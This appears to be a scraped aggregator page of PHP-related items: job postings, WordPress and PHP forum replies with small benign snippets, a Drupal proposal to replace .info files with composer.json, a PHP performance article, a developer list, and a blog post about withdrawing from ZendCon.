Next Page: 10000

          PHP developer with AS400      Cache   Translate Page      
NJ-Carlstadt, PHP/ Zend developer with AS400 Contract 6 months+ Location: Carlstadt, New Jersey We have an immediate need for a PHP / Zend studio developer for a contract role in Carlstadt, NJ Responsibilities Understand and effectively communicate eCommerce features and limitations with regard to design and development decisions on new projects. Help manage the design and development process and drive decision
          Reply To: Links in members-loop for Profile Field      Cache   Translate Page      

Hi,

I found that those links are generated from the plugin Custom Profile Filters For BuddyPress and it only works on profile. So to get the same data with the link on members-loop.php we need to print fields like this:

$data = bp_get_member_profile_data( 'field=Expertise' ); 
echo '<a href="' . bp_get_members_directory_permalink() . '?s='.$data.'">'.$data.'</a>';

Hopefully, this will help you.

Thanks


          PHP 7.2.11 / 7.1.22 / 7.0.32 / 5.6.38      Cache   Translate Page      
none
          Convert a php resource to a string      Cache   Translate Page      
Forum: PHP Posted By: tribalmp Post Time: Oct 7th, 2018 at 11:48 AM
          HYPEFEST Street Style Showcases the Festival's Best Looks      Cache   Translate Page      

Along with our look at the weekend's artwork and the best sneakers seen on-foot, we also captured candid imagery of the HYPEFEST attendees. Thousands of guests took to Brooklyn Navy Yard to flaunt their best style, joined by a who's-who of the HYPEBEAST community, ranging from sacai designer Chitose Abe to Spaghetti Boys co-founder Kerwin Frost. While Marcelo Burlon and Verdy kept it relatively low-key with their own brands, other guests came out to showcase some of their loudest pieces, including Supreme x Louis Vuitton, Off-White™ and even a Charles Peterson x NUMBER (N)INE printed cape and pants. Big logos ruled the weekend, with Prada bags and Off-White™ Nike sneakers recurring throughout, complemented by a wide variety of flame-emblazoned layering pieces. Attendees were happy to show off exclusive gear as well; plenty of NEEDLES track pants and READYMADE T-shirts were spotted over the course of the weekend. Check out the looks above and peep some more highlights below. If you weren't able to make it, review the festivities with our photo recap.   View this post on Instagram   #NYC ALERT ?: I’m SUPER excited to join the @HYPEFEST Media Team in Brooklyn this weekend ??? If you’re a new follower of mine, I’ve been a photo contributor at @HYPEBEAST since 2011 and I’m EXCITED to back in New York for #HypeFest2018 ???? Much thanks to @KevinMa for supporting my work from the beginning! Stay tuned for Photos + Videos! ???3D @TreuBleuMedia Logo Design: @ceej.php #TreuBleu #TashaBleu A post shared by TB® ?? (@tashableu) on Oct 6, 2018 at 8:20am PDT   View this post on Instagram   @travisscott meeting Katsuhiro Otomo at the Akira #hypefest booth. Photo: @daleknows A post shared by HYPEFEST (@hypefest) on Oct 9, 2018 at 6:18am PDT   View this post on Instagram   Thanks for coming to #hypefest! Until the next one ✌️❤️ A post shared by HYPEFEST (@hypefest) on Oct 8, 2018 at 7:22pm PDT   View this post on Instagram   Thanks for coming to #hypefest! Until the next one ✌️❤️ Photo: @personsphoto A post shared by HYPEFEST (@hypefest) on Oct 8, 2018 at 6:02pm PDT

Click here to view full gallery at HYPEBEAST


          Smartsourcing: Automation Test Developer Hertfordshire Up to 45 benefits      Cache   Translate Page      
Up to 45 benefits: Smartsourcing: Automation Tester Selenium � Java or PHP � Hemel Hempstead Upto �45k This is an exciting time to join this company as you will have the opportunity to help shape automation testing in the business. Have you ever wondered how a data pattern looks lik Hatfield
          SENIOR PHP TEAM LEAD/DEVELOPER - InControl Recruitment - Umhlanga, KwaZulu-Natal      Cache   Translate Page      
Permanent Temporary Fixed Term Temp with possibility of going permanent Student job Internship Freelance Franchise Apprenticeship Synopsis:....
From JobVine.co.za - Mon, 17 Sep 2018 14:28:48 GMT - View all Umhlanga, KwaZulu-Natal jobs
          Creating Landing pages - Leadpages or Landingi      Cache   Translate Page      
I am looking for a landing page Expert that has experience with either landingi or leadpages. I need good landing pages that convert well that I can add custom code to. The index will need to be php file... (Budget: $10 - $30 USD, Jobs: Graphic Design, HTML, Landing Pages, PHP)
          Human Resource Assistant - Baguio Ice Plant and Cold Storage Inc - Baguio      Cache   Translate Page      
*Job Summary* *HR ASSISTANT* A group of Baguio based companies is looking for an HR Assistant with the following qualifications: * Female * Graduate of... PHP 9,000 a month
From Indeed - Mon, 01 Oct 2018 01:43:08 GMT - View all Baguio jobs
          DUTY OFFICER - Tropical Focus Phils. Inc. - Baguio      Cache   Translate Page      
Coordinate with the chiller operator regarding the status of the plant. The role of the Duty Officer is (but not limited) to:.... PHP 15,000 - PHP 16,000 a month
From Indeed - Tue, 11 Sep 2018 08:48:58 GMT - View all Baguio jobs
          Broiler Technical Services Representative - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 05:15:58 GMT - View all Isabela jobs
          Sales Specialist - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 04:55:36 GMT - View all Isabela jobs
          Soil and Plant Analyst - Hijo International Trading Singapore Pte. Ltd - Surigao City      Cache   Translate Page      
College Degree in Agriculture (Soil and Plant Tech/ entomologist, soil science and the like). Must be willing to work at Trento, Agusan del Sur.... PHP 12,000 - PHP 15,000 a month
From Indeed - Mon, 23 Jul 2018 06:38:41 GMT - View all Surigao City jobs
          PHP Web Developer - prTechnologies - Shiliguri, West Bengal      Cache   Translate Page      
We are in search for experienced PHP Web Developers to join our company and lend their helping hands to accomplish the needful with their expertise knowledge.... ₹12,000 - ₹20,000 a month
From Indeed - Mon, 01 Oct 2018 05:59:11 GMT - View all Shiliguri, West Bengal jobs
          Senior PHP Developer - WellnessLiving - Richmond Hill, ON      Cache   Translate Page      
Our mission is to provide the wellness industry with the most comprehensive tool set available to better manage their existing clients while helping them grow...
From Indeed - Tue, 09 Oct 2018 20:22:22 GMT - View all Richmond Hill, ON jobs
          PHP Web Developer - Mediahub - Montréal, QC      Cache   Translate Page      
We operate properties such as:. We are looking for a back-end developer who will ensure we are building the best possible platform for our users....
From Mediahub - Tue, 14 Aug 2018 21:47:14 GMT - View all Montréal, QC jobs
          Software Developer - Robert Half Technology - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. We are hiring PHP Developer for one of client in Ottawa....
From Robert Half - Fri, 14 Sep 2018 16:21:07 GMT - View all Ottawa, ON jobs
          PHP Software Developer - LeverageTek - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. LeverageTek is actively seeking a PHP Software Developer...
From LeverageTek - Sat, 08 Sep 2018 04:13:08 GMT - View all Ottawa, ON jobs
          Reply To: Added “www” to wordpress url, now cannot log in      Cache   Translate Page      

Hi

You can edit wp-config.php since you cannot access the site’s backend.

You will need to add the following to wp-config.php :

define( 'WP_HOME', 'http://www.example.com' );
define( 'WP_SITEURL', 'http://www.example.com' );

Replace example.com with your url.

Additional information can be found here

All the best!


          Software Developer - Robert Half Technology - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. We are hiring PHP Developer for one of client in Ottawa....
From Robert Half - Fri, 14 Sep 2018 16:21:07 GMT - View all Ottawa, ON jobs
          PHP Software Developer - LeverageTek - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. LeverageTek is actively seeking a PHP Software Developer...
From LeverageTek - Sat, 08 Sep 2018 04:13:08 GMT - View all Ottawa, ON jobs
          Interview with Paul M. Jones      Cache   Translate Page      

@PMJones Show Notes Aura PHP Modernizing Legacy Applications In PHP Southeast PHP Audio This episode is sponsored by .

The post Interview with Paul M. Jones appeared first on Voices of the ElePHPant.


          Reply To: Update Caused Fatal Error      Cache   Translate Page      

Hi

This is because your server is running an old version of PHP. Any chance you can upgrade? You need at least PHP 5.4 for the 0.79 version of this plugin to run without errors.


          Drupal core ideas: Replace .info.yml with composer.json for extensions      Cache   Translate Page      

Problem/Motivation

Five years ago some of us bravely put forth adding metadata files to Drupal modules in #80952: Add .info files to modules to store meta information. Today, tons of problems are trying to be solved by .info files in a Drupal specific way. It'd would hopefully lower a lot of core developer workload and provide a better solution if we could consider an external standard like composer.json

Proposed resolution

With Drupal 8's growing use of NIH solutions I thought I should propose another solution for this problem developed by the php community, the composer.json file. It has places for I believe all of the features requested to be added to .info files, appears to support all the fields we add as part of our packaging, has some nice features like PSR-0 that could help solve other problems we haven't encountered yet, and has a nice "extra" field we could stash our custom things like CSS files in themes, and best of all is not a Drupalism!

Key ideas:
Composer.json is a format outlined in this schema:
https://github.com/composer/composer/blob/master/res/composer-schema.json

Composer is also a PHP PSR-0 application for resolving dependencies generally used as a phar archive:
https://github.com/composer/composer

Packagist is a solr + symfony application serving http://packagist.org/ much like our project.module
https://github.com/composer/packagist

Pluses

  • Its could mean engadgement of more people in the php community outside of d.o(adding drupal support for you code might be as easy as droping a line in your composer.json)
  • NIH
  • Composer is a very featureful package management system based on npm and suse
  • Tests we don't have to maintain! http://travis-ci.org/#!/composer/composer
  • Likely better drush support through things like the "repositories" entry and being able to reference libraries outside the drupal world for downloading.
  • It would deprecate, or at least significantly improve the maintainability of project.module.
  • A lot of people know json

Minuses

  • The composer resolver does contain a lot of code
  • Its JSON and CMI at this point has chosen to go with XML. Configuration is not definition though so this should be a minimal overhead. drupal.org could also probably automate a lot of the management if we're smart.
  • JSON has no commenting like

    , // or /* */.

  • JSON is very strict?(maybe a good thing?)

Related Issues

Remaining tasks

Code review of composer.json

User interface changes

Not really a UI thing other then implementing new features we'll be able to support.

API changes

How a .info file would be translated to a composer.json file:

name = Really Neat Widget
Composer's name is the canonical name of the package. This means that we move the package definition in for it, prefixed by drupal/. The human-readable name is moved to title, as sun mentions below:
"name": "drupal/reallyneatwidget",
"title": "Really Neat Widget"
description = Provides a really neat widget for your site's sidebar.
"description": "Provides a really neat widget for your site's sidebar."
core = 7.x
This is moved to "require". See note about dependencies below...
"require": {
  "drupal/drupal": "7.*"
}
stylesheets[all][] = node.css
composer.json files can hold "extra" meta-information, which would be used for stylesheets.
"extra": {
  "drupal": {
    "stylesheets": {
      "all": ["node.css"]
    }
  }
}
scripts[] = somescript.js
"extra": {
  "drupal": {
    "scripts": ["somescript.js"]
  }
}
files[] = example.test
Since #1541674: Remove the registry, we no longer need to define files[]. Simply removing the entry will fix it for a composer.json. If you're looking to do this in a Drupal 7 composer.json file though, Composer supports autoloading straight up files:
{
  "autoload": {
    "files": ["example.test"]
  }
}
dependencies[] = taxonomy
dependencies[] = exampleapi (>7.x-1.5)
Dependencies are moved over to "require".
"require": {
  "drupal/taxonomy": "7.*",
  "drupal/exampleapi": ">1.5"
}

Having Drupal packages declare their Drupal-version dependency within the version number impedes our ability to move fully towards this architecture. #1612910: [PP-1, policy, no patch] Switch to Semantic Versioning for Drupal contrib extensions (modules, themes, etc) would allow this. One intermediate solution around this would be to use the "extra" options for Drupal-specific dependencies:

"extra": {
  "drupal": {
    "dependencies": {
      "taxonomy": "7.*",
      "exampleapi": ">7.x-1.5"
    }
  }
}
package = Views
"extra": {
  "drupal": {
    "package": "Views"
  }
}
php = 5.3
"require": {
  "php": ">=5.3"
}
version = 7.x-1.5
"version": "1.5"
Due to Drupal's versioning system, we have issues moving to this version architecture. #1612910: [PP-1, policy, no patch] Switch to Semantic Versioning for Drupal contrib extensions (modules, themes, etc) would fix that. An intermediate solution could be...
"version": "1.5",
"extra": {
  "drupal": {
    "version": "7.x-1.5"
  }
}
configure = admin/config/content/example
"extra": {
  "drupal": {
    "configure": "admin/config/content/example"
  }
}
required = TRUE
"extra": {
  "drupal": {
    "required": true
  }
}
hidden = TRUE
"extra": {
  "drupal": {
    "hidden": true
  }
}
project = "views"
"extra": {
  "drupal": {
    "project": "views"
  }
}

As you can see, most of it would be moved to the "extra" information of composer.json. One of the issues is the Drupal version being part of the packaged version information. #1612910: [PP-1, policy, no patch] Switch to Semantic Versioning for Drupal contrib extensions (modules, themes, etc) and #586146: [policy, no patch] Decide if and how to implement semantic versioning for Drupal 8.x would help, but there are ways we can get around it in the mean time, as I outlined above. Here's an example of system.info as a composer.json file:

{
  "name": "drupal/system",
  "title": "System",
  "type": "drupal-module",
  "description": "Handles general site configuration for administrators.",
  "extra": {
    "drupal": {
      "package": "Core",
      "version": "VERSION",
      "required": true,
      "configure": "admin/config/system"
    }
  }
}

          Ваша реклама #17.7      Cache   Translate Page      

https://i.imgur.com/429PV08.jpgАЛЬТЕРНАТИВНОЕ БУДУЩЕЕ | ПАРНОСТЬ | СПОСОБНОСТИ | NC-21

http://lovebirds.rolka.su/viewtopic.php … 15#p202727


          PHP Developer - Winnipeg Technical Services & Solutions - Winnipeg, MB      Cache   Translate Page      
You must have sufficient experience in PHP 5 +, Joomla, WordPress, E-Commerce, XML, HTML/CSS knowledge, Java Script/jQuery, MVC Knowledge....
From Winnipeg Technical Services & Solutions - Wed, 03 Oct 2018 11:46:29 GMT - View all Winnipeg, MB jobs
          Followone Inc. Switched From PHP to The Latest Version of Node.JS And React.JS.      Cache   Translate Page      
none
          Warehouse Supervisor - Ace Hardware Philippines, Inc. - Tagum      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , any field. * Atleast 1 to 2 years supervisory experience specializing in Logistics, Supply... PHP 20,000 a month
From Indeed - Fri, 27 Jul 2018 10:50:34 GMT - View all Tagum jobs
          Treasury Assistant - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , Business Studies/Administration/Management or equivalent. * Applicants must be willing to work... PHP 12,000 - PHP 16,000 a month
From Indeed - Mon, 01 Oct 2018 11:20:48 GMT - View all Ormoc City jobs
          Cashier - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Vocational Diploma/Short Course Certificate, Bachelor's/College Degree in Business Studies/Administration/Management or... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:17:40 GMT - View all Ormoc City jobs
          Stock Clerk - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * No work experience required. * Preferably Less than 1 year experience specialized... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:17:26 GMT - View all Ormoc City jobs
          Sales Utility Clerk - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * No work experience required. * Responsible for performing over-the-counter selling... PHP 9,000 - PHP 10,000 a month
From Indeed - Mon, 01 Oct 2018 11:16:39 GMT - View all Ormoc City jobs
          Sales Assistant - Ormoc - Ace Hardware Phils., Inc. - Ormoc City      Cache   Translate Page      
* Candidate must possess at least a Bachelor's/College Degree , Business Studies/Administration/Management, any Technical Course or equivalent. * Applicants... PHP 10,000 - PHP 12,000 a month
From Indeed - Mon, 01 Oct 2018 11:11:22 GMT - View all Ormoc City jobs
          Warehouse Supervisor - Danao - Ace Hardware Phils., Inc. - Danao      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * At least 2 Year(s) of working experience in receiving, dispatching and inventory... PHP 20,000 - PHP 24,000 a month
From Indeed - Fri, 21 Sep 2018 06:29:04 GMT - View all Danao jobs
          Treasury Assistant - Cebu - Ace Hardware Phils., Inc. - Cebu      Cache   Translate Page      
*TREASURY ASSISTANT* The Treasury Assistant is under the supervision of the Treasury Supervisor; responsible for Treasury clerical functions relative to sales... PHP 10,000 - PHP 15,000 a month
From Indeed - Mon, 17 Sep 2018 07:26:25 GMT - View all Cebu jobs
          Store Supervisor - Cebu - Ace Hardware Phils., Inc. - Cebu City      Cache   Translate Page      
* Candidate must possess at least Bachelor's/College Degree in any field. * Required Skill(s): ENGLISH, FILIPINO * Preferably atleast 2 years experience... PHP 20,000 - PHP 24,000 a month
From Indeed - Fri, 21 Sep 2018 06:33:21 GMT - View all Cebu City jobs
          Software Developer - Robert Half Technology - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. We are hiring PHP Developer for one of client in Ottawa....
From Robert Half - Fri, 14 Sep 2018 16:21:07 GMT - View all Ottawa, ON jobs
          PHP Software Developer - LeverageTek - Ottawa, ON      Cache   Translate Page      
Implement an AFI screening/in-take module (based on user requirements) to replace the current in-take. LeverageTek is actively seeking a PHP Software Developer...
From LeverageTek - Sat, 08 Sep 2018 04:13:08 GMT - View all Ottawa, ON jobs
          Développeur PHP [#2273] - Alteo Recrutement Informatique - Montréal, QC      Cache   Translate Page      
Alteo est à la recherche d'un Développeur PHP pour un emploi permanent basé à Montréal. Créer des composants côté serveur et des points de terminaison API...
From EmploisInformatique.com - Mon, 08 Oct 2018 04:48:00 GMT - View all Montréal, QC jobs
          Issues with uploading image      Cache   Translate Page      

Hi @propanechiller and welcome to the forum.

I think the .htaccess file receives the requested URL and then redirects to an allocated web page, falls through to a default page (usually index.php) or fails all checks and opens an error page (usually 404.php).

I would try temporarily adding the following couple of lines to the top of the relevant web page and hopefully PHP errors will be shown that may be searched for a solution.

<?php
error_reporting(-1); // maximum errors
ini_set('display_errors', 'true');
// your original script goes here

Remember to remove the additional lines after the problem has been solved.

Edit:
Errors should appear in the server log files but are usually only accessible to the webmaster.


          Login system No errors and no data inserted to the database      Cache   Translate Page      

It worked FINE meaning the code worked perfectly okay. Just put the action " welcome.php " on both my login.php and signup.php and it took me to the other page.

Thanks!


          Login system No errors and no data inserted to the database      Cache   Translate Page      

That could be your problem. AFAIK, when action is not specified “the same page” is used. Try having it be the PHP file (signup.php)


          Login system No errors and no data inserted to the database      Cache   Translate Page      

What are the form’s action and method attribute values?


          Login system No errors and no data inserted to the database      Cache   Translate Page      

When put the correct username and password it does not take me to the header page welcome.php it remains on the same page login.php


          Tabs vs. Spaces      Cache   Translate Page      

In my favourite editor I can use any tab-width or number of spaces for the tab key, auto tab or not for new lines. And in the “Highlighters Settings” I can set different tab modes for different document types.

So, I always use the tab key to indent code, shift tab to unindent, lines or block of lines. :slight_smile:#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000


          Can’t find a class element in my style sheets      Cache   Translate Page      

Replies: 0

I’m developing an in-house Intranet site that’s hosted on a private server so I can’t link to it here. Please be gentle with me … I’m teaching myself CSS and php code as I go.

I would like to change the layout of my page.php file so that the breadcrumbs and header are child elements of the #primary section on each page, instead of child elements of the container. When I use the Inspect window in Chrome, I can see the .breadcrumb-wrapper element, and I can move it and the header element to the correct placement; but I don’t know how or where to make this change permanent in the style sheets or the php files. None of the CSS files in my theme or plugins include that .breadcrumb-wrapper element!

I can see where some of the html elements are defined on the page.php file, but I don’t know how to write or change the code to call the appropriate breadcrumb links or page title.

This is the source code for a sample page:

 <div class="container">
        <div class="breadcrumb-wrapper" itemscope itemtype="http://schema.org/BreadcrumbList">
                <div id="crumbs" itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem">
                    <a href="http://10.1.1.199" itemprop="item">Home</a> 
                    <span class="separator">></span>
                    <span class="current">Electrical</span>
                </div><!-- #crumbs -->
        </div><!-- .breadcrumb-wrapper -->
        <header class="page-header"><h1 class="page-title">Electrical</h1>
        </header><!-- .page-header -->
        <div class="content-grid">
	        <div id="primary" class="content-area">
		        <main id="main" class="site-main">
                                <article id="post-193" class="post-193 page type-page status-publish hentry">
                                        <div class="entry-content" itemprop="text"><p>Info related to Electrical</p>
                        	        </div><!-- .entry-content -->
                                </article>
                        </main>
                 </div><!-- #primary -->
        </div><!-- .content-grid -->
</div><!-- .container -->

           Aikido Test Prep (Healthcare & Fitness)      Cache   Translate Page      

Aikido Test Prep 1.4


Device: iOS Universal
Category: Healthcare & Fitness
Price: Free, Version: 1.4 (iTunes)

Description:

This application works with http://www.aikidotestprep.com/login.php to display tests (Created on the website), for those studying Aikido.

It includes definitions of attacks and positions.
It allows you to take notes while testing.
It has a flashcard feature to drill in techniques.
It also allows a test board to leave feedback on your test.

The test creation (the website) has the ability to link in youtube videos and notes about a test or technique, so an instructor can show how they want it done for the test, and leave their notes on what they're looking for.

In the application, a student can make their own notes, to reference later.

What's New

Fixed AdMob.
Made the screen layouts more dynamic to better support iPads.
Increased the bug/feature request text box size.
Added some help text for new users.

Aikido Test Prep


          How To Activate A Plugin Through PHP MyAdmin      Cache   Translate Page      

Sometimes, you will need to know how to activate a plugin trough PHP MyAdmin due to a conflict with another plugin or an update on the site to get your site working again.

The post How To Activate A Plugin Through PHP MyAdmin appeared first on Frank Deardurff | That One Web Guy.


          Middle PHP Developer (разработчик веб-приложений), Москва      Cache   Translate Page      
« ИСС » - компания, создающая IT-системы обратной связи с гражданами и клиентами. Является портфельной компанией венчурного фонда Runa...

Зарплата: не указано

Компания: ООО Интеллектуальные социальные системы




          TOP 10 Benefits of Using PHP in Web Development       Cache   Translate Page      

We all are aware of the truth that for a success online business, powerful internet improvement of the involved enterprise is vital, and with a selection of technologies existing inside the marketplace for internet development, PHP is considered to be an essential and a quite generic internet site improvement technology. Therefore, PHP web development is exceptionally in call for, and additionally it is the developer’s first desire. PHP is now a well-known server-aspect scripting language Read More..
          PHP Performance Optimization      Cache   Translate Page      

Application performance is not just a technical issue. Performace can make a business successfull or take it down. So, if you think few milliseconds are not a big deal, think again.

Why does Performance Matter?

There are mainly three reasons why performance is essential. The first is User experience; if your application takes so long to load, then you are risking your users to switch to competitors or leave bad reviews which will affect the business badly. The second reason is “Conversions.” Conversions are the number of users who actually buy your product or download your ebook or generally the users who give money for your services. A faster website means more conversions and more profit. The third reason is “Scalability.” The more requests your application can handle per second, the more traffic you can handle. For example, if your application can handle a single process in 100ms, it means your application can serve 10 requests per second so if you reduce the application processing time to the half, your application capacity will double.

Performance Case Studies:

Firefox:when they made the download page faster by 2.2 seconds, they got more 10 million downloads.

Shopzilla:when their website became 5 seconds faster, the conversion rate has increased by 7 12%.

Bing:when Microsoft search engine site became 1s slower, they lost 2.8% of their revenue.

Yahoo!: same as Bing, when it is 0.4s slower they got 5 9% less traffic.

So, whatever the kind of business your application does, a faster application means more revenue.

php Performance Optimization: - Choose The Right Version

Well, this one is obvious especially after PHP7 which have the best performance among the old PHP versions. I will not make a comparison here between PHP versions since there are so many articles discussed that, but you still can take a look at the following chart showing the performance of PHP versions run by different CMSs.


PHP Performance Optimization
- PHP Micro-Optimization

Micro-Optimization is the minor changes in your code that improve your application performance. For example, if you are going to use a for-loop, it is always better to calculate the length in advance. The next image shows the result of for-loop with 1000 keys with 1-byte values are given. You can notice the improvement in the execution time.


PHP Performance Optimization

Regardless of the little improvement happening by the Micro-Optimization but it still not enough.

You can get more Micro-Optimization insight on phpbench.com .

- XHProf: Profiling PHP Code

After we have seen the limited value of PHP Micro-Optimization, it is time to determine precisely which part of our code is slow without the need to guess using a profiling tool called XHProf. After installing and configuring XHProf on your server, ‘you can find a tutorial on how to install it on youtube.’ XHProf will append header and footer to all your PHP scripts and generate a report where you can find all the executed functions, the execution time, and the number of calls of each function.

The next image is the profiling result of a products-page built with laravel framework. It shows the getProductData() has been called 40 times with total execution time of 5 seconds.


PHP Performance Optimization

Well, at first glance you can expect an “N+1” problem. Which means if you fix it, your products page will be 5 seconds faster.

The N+1 problemhappens when you query a relational database to retrieve data from two different tables. For example, you query for all products to get Names and Ids. And then for each product, you query another table to get details such as available colors, or availability in stock. Usually it can be fixed by rewriting the query to retrieve all your data in one or two queries at maximum. We will discuss it later in Database query optimization article.

- Caching

Implementing a caching layer should have an impact taking the load out of your database and decrease the time retrieving frequently required data. Both Memcache or Redis are widely used for caching; however, Redis has some competitive advantages such as syncing data to disc so when rebooting server data will not be lost, and it has built-in master/slave replication so you can easily scale up redis cluster as your application grows.


          23 PHP Developers to Follow Online      Cache   Translate Page      

NOTE: This is an update to a post originally published in May 2014. We encourage and welcome suggestions from our readers about whom to include on this list! Please send your ideas to @NewRelic on Twitter, using hashtag #phpexperts .


23 PHP Developers to Follow Online

PHP is an incredibly powerful and versatile scripting language. PHP is also an essential skill for most web developers: it’s used today by four out of five websites and by more than half of the world’s top 1,000 sites . As a result, the PHP community\ is large, active, and vibrant, and it’s a magnet for smart developers and technologists.

The following list―in alphabetical order―includes some of the most prominent PHP source and framework committers, project leaders, teachers, visionaries, and entrepreneurs. Follow their blogs, Twitter feeds, and other communication channels to get a front-row view of what matters to the community today, where it wants to go, and how you might be able to get involved.

Be sure to check back occasionally: We plan to update this list in response to reader feedback and suggestions.


23 PHP Developers to Follow Online
Rob Allen

Owner of Nineteen Feet , a UK-based Zend Framework consultancy. Current Zend Framework Education Advisory Board member, and a prolific contributor to Zend Framework as well as other PHP-related projects; author of Zend Framework in Action (2009). A regular speaker and presenter at PHP conferences and other public events.

Blog: http://akrabat.com/

Twitter: @akrabat

GitHub: https://github.com/akrabat

Stack Overflow: https://stackoverflow.com/users/23060/rob-allen


23 PHP Developers to Follow Online
Sebastian Bergmann

Co-founder and Principal Consultant of The PHP Consulting Company , and a pioneer in PHP quality assurance. Creator of PHPUnit , an industry-leading testing tool integrated with most modern PHP frameworks and CMS platforms; author of nine English- and German-language books on PHP-related topics .

Website: http://sebastian-bergmann.de/

Twitter: @s_bergmann

GitHub: https://github.com/sebastianbergmann


23 PHP Developers to Follow Online
Jordi Boggiano

Co-founder at Nelmio , a Switzerland-based web application development firm. Co-author of Composer , a widely used application-level package manager for PHP. Symfony2 core team member; lead developer for the Monolog PHP logger; and a frequent speaker and presenter at industry events.

Blog: http://seld.be/

Twitter: @seldaek

GitHub: https://github.com/Seldaek


23 PHP Developers to Follow Online
Dries Buytaert

Co-founder and CTO of Acquia , an open source company that leverages the Drupal CMS. Creator and project lead for Drupal, as well as a co-founder and board member of the Drupal Association .

Blog: http://buytaert.net/

Twitter: @Dries


23 PHP Developers to Follow Online
Angie Byron

Senior Director of Product Management and Community Development at Acquia . Current Drupal core co-maintainer and past Drupal Association board member; also Development Manager for Drupal Spark , a Drupal distribution focused on user experience enhancements. Co-author of Using Drupal, 3rd Editio n (2016).

Blog: http://www.webchick.net/

Twitter: @webchick


23 PHP Developers to Follow Online
Anthony Ferrara

CTO at enterprise language coaching firm Lingo Live , and a Zend-certified engineer with expertise in security, performance, and object-oriented programming. Developed the new, more secure password API in PHP 5.5 ; writes extensively about security in the PHP ecosystem and is a prolific creator of instructional videos and other resources for PHP developers.

Blog:
          I Won’t be at ZendCon      Cache   Translate Page      

Next week kicks off the latest version of ZendCon in Las Vegas. Though I had, for a time, expected to be there … I won’t be. You should know why.

Speaking Habits

I really enjoy speaking in public. It’s been a regular part of my career for the past decade, and it gives me ample opportunity to connect with and learn from the communities I care so deeply about.

I tend to submit multiple talks to multiple events per year. On average, I think I’ve spoken at 4-5 conferences per year for the past 6 years in one “season” I presented in some form at 14 events during the period of the year. This gives me a lot of time on stage, but even more time connection with members of the community.

It’s opened my eyes to quite a few things; one in particular is the lack of diversity (or at least the representation thereof) at many events. We have a wildly diverse community, but a fairly homogenous lineup of “experts” presenting on stage.

Representation matters . I got involved in tech because people I related to were standing on stage telling me that I could. I want everyone to have that opportunity. To have that experience. More often than not, this means I need to step aside and encourage someone else to stand in the limelight. That’s humbling, but perfectly OK with me.

And it’s why I won’t be in Vegas next week …

Acceptance

My original acceptance email was lost to the aether, but eventually the organizing team was able to make contact and confirmed that yes, I was invited to speak. They’d selected both a workshop on security and a shorter talk about promise-driven architecture in php.


I Won’t be at ZendCon
Original Twitter announcement that I’d be speaking.

I was ecstatic!

ZendCon is one of the larger PHP events every year. Better yet, it’s a super short flight from Portland there aren’t very many high-profile events I can attend to spend time with my community in my neck of the woods. I immediately accepted the invitation and flagged my calendar so I could schedule my time away from the office.

But then … my conscience got to me.

Withdrawal

Don’t get me wrong, the speakers’ lineup for this event looks to bring in solid experts who will be presenting great content. However , it’s also the speakers’ lineup that led me to withdraw from the event.

At the time I was asked to speak, there were 37 other speakers listed on the website. This group of individuals consisted of:

4 women 2 (apparent) people of color

For those who don’t want to do the math, this meant the speakers group was 89% male and 95% white. Adding my name to that list did nothing to make those numbers better.

My presence as a speaker at ZendCon would have actively diminished the value of the event. I refuse to be another white, male faceamong a speaker list comprised overwhelmingly of white men. This is not reflective of our community, and my ignoring that feeling and speaking anyway would be a betrayal of that community.

I hold no animosity towards the organizers of or speakers at ZendCon. However, I will not participate in your event until you address this discouraging lack of representation.

Moving Forward

I’ve taken fairly strong stances towards many things. I will not participate in events that lack a code of conduct. I will not abide racists, sexists, ageists, ableists, or similar.

I will not participate in events that fail to address serious issues regarding diversity, representation, or inclusion in our community. It’s one thing to say “well, people didn’t apply …” It’s another thing entirely to actively encourage members of the community to engage.

Said another way if members of particular subcommunities are not organically responding to your CfP in volumes that would make a diverse speakers’ panel easy, you have far deeper problems with your event than you realize and it’s likely something I will not engage with in the first place.

As I’ve said on many topics recently: we can do better. We must do better. Those to whom we leave our projects, businesses, industry, profession behind deserve that we do better. Everything we do today is paving the way for generations to come I am committed to doing everything in my power to ensure that the future of our community recognizes, respects, and values diversity.

Right now, that means calling out an inclusivity issue and refusing to be a part of the event that’s done little to solve it. In my white, male, cisgendered privilege, one of the strongest statements I can make is to not participate. If that makes room for one more person who doesn’t reflect “me” to the world, it’s a net positive.


          The result of MySQL results in the php table      Cache   Translate Page      
Print the php table with the print function via the printer

I have the following php table, how do i add print functionality just to the php table? And a button that when clicked, the following table is printed via printer, I tried 'CTRL+P' and I only got the html secton of the page example the header, footer

Read the results of a PHP table, in real time with javascript

I certainly can't solve this problem by myself after a few many days already trying. This is the problem: We need to display information on the screen (HTML) that is being generated in real time inside a PHP file. The PHP is performing a very active

In the php table, retrieve all rows from the mysql database in the single td table?

